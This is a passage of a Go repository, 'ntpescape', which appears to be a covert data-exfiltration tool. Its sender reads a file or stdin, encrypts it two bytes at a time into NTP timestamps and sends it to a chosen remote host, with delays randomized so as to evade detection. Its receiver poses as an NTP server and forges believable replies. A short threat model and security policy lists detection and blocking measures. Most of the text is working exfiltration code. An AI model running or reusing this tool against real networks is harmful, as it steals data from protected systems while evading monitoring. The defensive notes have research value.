"72.30.35.89", 458 | "171.66.97.126", 459 | "78.153.129.227", 460 | } 461 | -------------------------------------------------------------------------------- /common/util.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "math/rand" 5 | ) 6 | 7 | // Generate a random float64 between two floats `low` and `high`. 8 | func RandF64InRange(low float64, high float64) float64 { 9 | return low + rand.Float64() * (high - low) 10 | } -------------------------------------------------------------------------------- /doc/img/client_screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evallen/ntpescape/53dda3259f5e6ca613ef2856423e9afdaca1e853/doc/img/client_screenshot.png -------------------------------------------------------------------------------- /doc/img/response_screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evallen/ntpescape/53dda3259f5e6ca613ef2856423e9afdaca1e853/doc/img/response_screenshot.png -------------------------------------------------------------------------------- /doc/ntpescape_DFD.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evallen/ntpescape/53dda3259f5e6ca613ef2856423e9afdaca1e853/doc/ntpescape_DFD.pdf -------------------------------------------------------------------------------- /doc/threatmodel_securitypolicy.md: -------------------------------------------------------------------------------- 1 | `ntpescape` threat model and security policy 2 | ============================================ 3 | 4 | Threat model 5 | ------------ 6 | 7 | 1. An attacker may be able to exfiltrate data from a compromised 8 | computer in a secure enclave to their own server through NTP. 9 | 10 | 2. An attacker may be able to deny NTP services to other legitimate 11 | users in the network if network security responds too harshly and 12 | blocks NTP. 13 | 14 | 3. (In future implementations) an attacker may be able to _infiltrate_ 15 | data from a server to a compromised computer using NTP. 16 | 17 | 4. An attacker may be able to compromise a real, legitimate NTP server 18 | and use it as a receiver for NTP exfiltration. 19 | 20 | Security policy 21 | --------------- 22 | 23 | **1 - NTP exfiltration risk** 24 | * a) Host internal NTP servers and block all outbound NTP traffic. 25 | Allow updates from these trusted internal servers to external 26 | NTP servers only. 27 | * b) Have a strict allow-list of NTP servers that any machine, 28 | including internal NTP servers, can talk to. 29 | * c) Monitor for abnormal NTP behavior at the firewall / IDS. 30 | `ntpescape` attempts to make this difficult, but you could 31 | alarm on the following behaviors: 32 | * Abnormally high NTP client packet frequency. 33 | * Abnormally random NTP client packet frequency - `ntpescape` 34 | attempts to simulate normal NTP daemon polling frequency, 35 | but the true NTP daemon is more complicated and an advanced 36 | IDS may be able to tell the difference. 37 | * Incorrect NTP packets or extra data filled in NTP packets. 38 | `ntpescape` packets do not have extra data and are always 39 | legitimate, but other tools may use malformed packets to 40 | increase data transfer rate. 41 | * Hardcoded response data - `ntpescape` responses are randomized 42 | and contain plausible, simulated response data. However, 43 | other tools may return responses with hardcoded data in 44 | naturally-varying fields such as the root dispersion and more. 45 | 46 | **2 - NTP denial of service through harsh security response** 47 | * a) Ensure there is a way to make NTP queries at all times for 48 | computers not under investigation. This could be through 49 | NTP queries to internal NTP servers or certain allow-listed 50 | servers as in policy 1b. 51 | 52 | **3 - NTP infiltration risk** 53 | * a) Follow all policies from 1a-1c. This is because data 54 | could be infiltrated using the lower random bits of the response 55 | timestamps in a way that would be as hard to detect as the 56 | original outbound transmissions. 57 | * b) In addition to the IDS rules in 1c, alarm on unsolicited 58 | NTP responses from servers. This would be an easy indicator 59 | of data infiltration. 60 | 61 | **4 - Legitimate NTP server compromise** 62 | * a) Update NTP server allow-lists frequently based on recent news. 63 | If an NTP server is compromised, remove it from the allow-list 64 | immediately. -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/evallen/ntpescape 2 | 3 | go 1.19 4 | -------------------------------------------------------------------------------- /recv/recv.go: -------------------------------------------------------------------------------- 1 | package recv 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "flag" 7 | "fmt" 8 | "io" 9 | "log" 10 | "math/rand" 11 | "net" 12 | "os" 13 | "sync" 14 | "time" 15 | 16 | "github.com/evallen/ntpescape/common" 17 | ) 18 | 19 | // Seconds 20 | const rootDelayLow = 0.001 21 | const rootDelayHigh = 0.002 22 | const rootDispLow = 0.0001 23 | const rootDispHigh = 0.0005 24 | const rootInfoUpdateDelayLow = 10 25 | const rootInfoUpdateDelayHigh = 20 26 | 27 | var rootInfo = common.RootInfo{} 28 | var rootInfoMutex sync.Mutex 29 | 30 | var outwriter io.Writer = nil 31 | 32 | // Randomly generate new root info. 33 | // 34 | // Locks / unlocks rootInfoMutex. 35 | func updateRootInfo() { 36 | rootInfoMutex.Lock() 37 | 38 | rootInfo.RefTimeSec, rootInfo.RefTimeFrac = common.GetNTPTime(time.Now()) 39 | 40 | rootServerIpStr := common.NtpServerIps[rand.Intn(len(common.NtpServerIps))] 41 | rootInfo.ReferenceID = binary.BigEndian.Uint32(net.ParseIP(rootServerIpStr).To4()) 42 | 43 | rootDelayFloat := common.RandF64InRange(rootDelayLow, rootDelayHigh) 44 | rootInfo.RootDelay = common.ToNTPShortFormat(rootDelayFloat) 45 | 46 | rootDispFloat := common.RandF64InRange(rootDispLow, rootDispHigh) 47 | rootInfo.RootDispersion = common.ToNTPShortFormat(rootDispFloat) 48 | 49 | rootInfoMutex.Unlock() 50 | } 51 | 52 | // Goroutine to occasionally change the stored root info. 53 | // 54 | // The root info is the information that the receiver _would_ update 55 | // if it were a real NTP server. This makes the responses more believeable. 56 | func rootInfoDaemon() { 57 | for { 58 | updateRootInfo() 59 | 60 | nextDelay := common.RandF64InRange(rootInfoUpdateDelayLow, rootInfoUpdateDelayHigh) 61 | time.Sleep(time.Duration(nextDelay * 1e9)) 62 | } 63 | } 64 | 65 | func Main() { 66 | listendest := flag.String("d", ":123", "dest: What host and port to listen to, like :123") 67 | outfile := flag.String("f", "", "file: File to also output results to") 68 | help := flag.Bool("h", false, "help: Show this help") 69 | flag.Parse() 70 | 71 | if *help { 72 | flag.Usage() 73 | return 74 | } 75 | 76 | key, err := common.GetKey() 77 | if err != nil { 78 | log.Fatalf("Error decoding key: %v", err) 79 | } 80 | 81 | if *outfile != "" { 82 | writer, err := os.Create(*outfile) 83 | if err != nil { 84 | log.Fatalf("Error opening out file %v: %v", *outfile, err) 85 | } 86 | outwriter = writer 87 | } 88 | 89 | udpaddr, err := net.ResolveUDPAddr("udp", *listendest) 90 | if err != nil { 91 | log.Fatalf("Error resolving UDP address: %v", err.Error()) 92 | } 93 | 94 | conn, err := net.ListenUDP("udp", udpaddr) 95 | if err != nil { 96 | log.Fatalf("Error listening: " + err.Error()) 97 | } 98 | defer conn.Close() 99 | 100 | go rootInfoDaemon() 101 | listenToPackets(conn, key[:]) 102 | } 103 | 104 | // Continuously listen and process incoming packets. 105 | func listenToPackets(conn *net.UDPConn, key []byte) { 106 | var packet common.NTPPacket 107 | for { 108 | buf := make([]byte, 512) 109 | _, addr, err := conn.ReadFromUDP(buf) 110 | 111 | if err != nil { 112 | log.Println("Error reading UDP packet: " + err.Error()) 113 | continue 114 | } 115 | 116 | err = binary.Read(bytes.NewBuffer(buf), binary.BigEndian, &packet) 117 | if err != nil { 118 | log.Println("Error reading UDP data into struct: " + err.Error()) 119 | continue 120 | } 121 | 122 | err = processPacket(&packet, addr, conn, key) 123 | if err != nil { 124 | log.Printf("Error processing packet: %v\n", err) 125 | } 126 | } 127 | } 128 | 129 | // Decrypt and repsond to a given `packet`. 130 | // 131 | // Pass in the address `addr` it came from and the connection `conn` to use 132 | // when responding. 133 | func processPacket(packet *common.NTPPacket, addr *net.UDPAddr, conn *net.UDPConn, key []byte) error { 134 | plaintext, err := packet.ReadPacketEncrypted(key) 135 | if err != nil { 136 | return fmt.Errorf("could not read encrypted packet: %v", err) 137 | } 138 | 139 | recordMessage(plaintext) 140 | 141 | err = sendResponsePkt(packet, addr, conn) 142 | if err != nil { 143 | return fmt.Errorf("could not send response packet: %v", err) 144 | } 145 | 146 | return nil 147 | } 148 | 149 | // Record a `message` received. 150 | func recordMessage(message []byte) { 151 | if outwriter != nil { 152 | outwriter.Write(message) 153 | } 154 | 155 | fmt.Print(string(message)) 156 | } 157 | 158 | // Send a response packet after receiving a client packet. 159 | // 160 | // Pass in the client `packet` to respond to, the address `raddrUdp` to send 161 | // the response back to, and the connection `conn` to use. 162 | func sendResponsePkt(packet *common.NTPPacket, raddrUdp *net.UDPAddr, conn *net.UDPConn) error { 163 | rootInfoMutex.Lock() 164 | responsePkt := packet.GenerateResponsePkt(&rootInfo) 165 | rootInfoMutex.Unlock() 166 | 167 | var buf bytes.Buffer 168 | if err := binary.Write(&buf, binary.BigEndian, responsePkt); err != nil { 169 | return fmt.Errorf("failed sending packet %v to %v: %v", packet, raddrUdp, err) 170 | } 171 | conn.WriteToUDP(buf.Bytes(), raddrUdp) 172 | 173 | return nil 174 | } 175 | -------------------------------------------------------------------------------- /send/send.go: -------------------------------------------------------------------------------- 1 | package send 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "encoding/binary" 7 | "flag" 8 | "fmt" 9 | "io" 10 | "log" 11 | "math/rand" 12 | "net" 13 | "os" 14 | "time" 15 | 16 | "github.com/evallen/ntpescape/common" 17 | ) 18 | 19 | const timeout = 5 * time.Second 20 | const maxTries = 5 21 | 22 | var mindelay, maxdelay *int 23 | 24 | func Main() { 25 | dest := flag.String("d", "localhost:123", "dest: host to send the NTP packets to") 26 | infile := flag.String("f", "-", "file: file to exfiltrate data from ('-' for STDIN)") 27 | help := flag.Bool("h", false, "help: print this help") 28 | mindelay = flag.Int("tm", 64, "mindelay: Minimum time (secs. >= 0) between messages sent. 0 = no delay.") 29 | maxdelay = flag.Int("tM", 1024, "maxdelay: Maximum time (secs. >= mindelay >= 0) between messages sent. 0 = no delay.") 30 | flag.Parse() 31 | 32 | if *help { 33 | flag.Usage() 34 | return 35 | } 36 | 37 | err := checkDelays(mindelay, maxdelay) 38 | if err != nil { 39 | log.Fatalf("Error: %v", err) 40 | } 41 | 42 | key, err := common.GetKey() 43 | if err != nil { 44 | log.Fatalf("Error decoding key: %v", err) 45 | } 46 | 47 | if *infile == "-" { 48 | err := sendFromStdin(dest, key[:]) 49 | if err != nil { 50 | log.Fatalln(err) 51 | } 52 | return 53 | } 54 | 55 | err = sendFromFile(dest, infile, key[:]) 56 | if err != nil { 57 | log.Fatalln(err) 58 | } 59 | } 60 | 61 | func checkDelays(mindelay, maxdelay *int) error { 62 | if *mindelay < 0 { 63 | return fmt.Errorf("mindelay must be 0 or greater") 64 | } 65 | if *mindelay > *maxdelay { 66 | return fmt.Errorf("maxdelay must be greater than or equal to mindelay") 67 | } 68 | if *maxdelay < 0 { 69 | return fmt.Errorf("maxdelay must be 0 or greater") 70 | } 71 | return nil 72 | } 73 | 74 | // Get a random sending delay between the min. and max. delays. 75 | func getRandomDelay() int { 76 | return rand.Intn(*maxdelay - *mindelay + 1) + *mindelay 77 | } 78 | 79 | // Send data from stdin to the given `dest`. 80 | func sendFromStdin(dest *string, key []byte) error { 81 | return sendFromReader(dest, os.Stdin, key) 82 | } 83 | 84 | // Send data from a `filepath` to the given `dest`. 85 | func sendFromFile(dest *string, filepath *string, key []byte) error { 86 | file, err := os.Open(*filepath) 87 | if err != nil { 88 | return fmt.Errorf("could not open file: %s", *filepath) 89 | } 90 | 91 | return sendFromReader(dest, file, key) 92 | } 93 | 94 | // Send data from a given reader interface to the given `dest`. 95 | func sendFromReader(dest *string, rd io.Reader, key []byte) error { 96 | inbuf := make([]byte, 1024) 97 | reader := bufio.NewReader(rd) 98 | 99 | for { 100 | n, err := reader.Read(inbuf) 101 | if err != nil { 102 | if err == io.EOF { 103 | break 104 | } 105 | return fmt.Errorf("error reading from %v: %v", rd, err) 106 | } 107 | 108 | inbuf = inbuf[:n] 109 | 110 | err = reliableSendBuffer(inbuf, dest, key) 111 | if err != nil { 112 | return fmt.Errorf("error reliably sending buffer: %v", err) 113 | } 114 | 115 | inbuf = inbuf[:cap(inbuf)] 116 | } 117 | 118 | return nil 119 | } 120 | 121 | // Reliably send a buffer `buf` of bytes to a `dest`. 122 | // 123 | // Splits the `buf` into two-byte message segments 124 | // and reliably sends each one. 125 | func reliableSendBuffer(buf []byte, dest *string, key []byte) error { 126 | triesLeft := maxTries 127 | 128 | for i := 0; i < len(buf); { 129 | if triesLeft <= 0 { 130 | return fmt.Errorf("could not reliably send buffer") 131 | } 132 | 133 | var message []byte 134 | if i == len(buf)-1 { 135 | message = buf[i:i+1] 136 | } else { 137 | message = buf[i:i+2] 138 | } 139 | 140 | err := sendMessage(message, dest, key) 141 | if err != nil { 142 | log.Printf("Retrying message send: %v\n", err) 143 | triesLeft-- 144 | } else { 145 | log.Printf("Successfully sent %s\n", message) 146 | i += 2 147 | triesLeft = maxTries 148 | } 149 | 150 | delay := getRandomDelay() 151 | log.Printf("Waiting %d seconds...\n", delay) 152 | time.Sleep(time.Duration(delay) * time.Second) 153 | } 154 | 155 | return nil 156 | } 157 | 158 | // Send a 1 or 2-byte `message` to a `dest`. 159 | // 160 | // This function sends a packet with the `message` 161 | // and waits for a corresponding ACK response from the 162 | // server. 163 | func sendMessage(message []byte, dest *string, key []byte) error { 164 | if len(message) > 2 || len(message) < 1 { 165 | return fmt.Errorf("invalid message length %v", len(message)) 166 | } 167 | 168 | raddr, err := net.ResolveUDPAddr("udp", *dest) 169 | if err != nil { 170 | return fmt.Errorf("failed resolving dest %v: ", err) 171 | } 172 | 173 | conn, err := net.DialUDP("udp", nil, raddr) 174 | if err != nil { 175 | return fmt.Errorf("failed to connect to %v: %v", *dest, err) 176 | } 177 | defer conn.Close() 178 | 179 | sentPacket, err := _sendMessage(message, conn, key) 180 | if err != nil { 181 | return fmt.Errorf("error sending message: %v", err) 182 | } 183 | 184 | result, err := waitForAck(sentPacket, conn) 185 | if err != nil { 186 | return fmt.Errorf("error waiting for ACK: %v", err) 187 | } 188 | 189 | if !result { 190 | return fmt.Errorf("invalid ACK received") 191 | } 192 | 193 | return nil 194 | } 195 | 196 | // Send a message packet to the server. 197 | // 198 | // The message packet looks like a normal NTP client request asking for 199 | // the current time, but has the given 1 or 2-byte `message` embedded in 200 | // the bottom two bytes of the transmit timestamp. 201 | // 202 | // The message is encrypted to increase entropy and make it harder to distinguish 203 | // from random noise. 204 | // 205 | // Returns the sent NTP packet (for use in verifying ACK packets later) and any 206 | // error. 207 | func _sendMessage(message []byte, conn *net.UDPConn, key []byte) (*common.NTPPacket, error) { 208 | 209 | if len(message) > 2 || len(message) < 1 { 210 | return &common.NTPPacket{}, fmt.Errorf("invalid message length %v", len(message)) 211 | } 212 | 213 | packet := common.GenerateClientPkt() 214 | packet.PatchPacketEncrypted(message, key) 215 | 216 | if err := binary.Write(conn, binary.BigEndian, packet); err != nil { 217 | return &common.NTPPacket{}, 218 | fmt.Errorf("failed sending packet %v to %v: %v", packet, conn.RemoteAddr(), err) 219 | } 220 | 221 | return packet, nil 222 | } 223 | 224 | // Wait for an ACK packet to come in from the NTP server to acknowledge 225 | // the sent `packet`. 226 | // 227 | // An incoming packet is considered to have ACK'ed a previously transmitted 228 | // `packet` if the incoming origin timestamp matches the transmit timestamp 229 | // of the sent packet. 230 | // 231 | // This is standard for server responses to NTP client requests, and provides 232 | // a convenient (and stealthy) way for us to know if the receiver got our message. 233 | // 234 | // Returns `result` = True if an ACK was sucessfully received, or False if not. 235 | func waitForAck(packet *common.NTPPacket, conn *net.UDPConn) (result bool, err error) { 236 | // Read packet 237 | b := make([]byte, 512) 238 | conn.SetReadDeadline(time.Now().Add(timeout)) 239 | _, _, err = conn.ReadFromUDP(b) 240 | if err != nil { 241 | return false, fmt.Errorf("failed reading ACK from UDP: %v", err) 242 | } 243 | 244 | // Put into struct 245 | var response common.NTPPacket 246 | err = binary.Read(bytes.NewBuffer(b), binary.BigEndian, &response) 247 | if err != nil { 248 | return false, fmt.Errorf("failed reading ACK packet: %v", err) 249 | } 250 | 251 | // See if it's a valid ACK 252 | if response.OrigTimeSec == packet.TxTimeSec && 253 | response.OrigTimeFrac == packet.TxTimeFrac { 254 | return true, nil 255 | } 256 | 257 | return false, nil 258 | } 259 | --------------------------------------------------------------------------------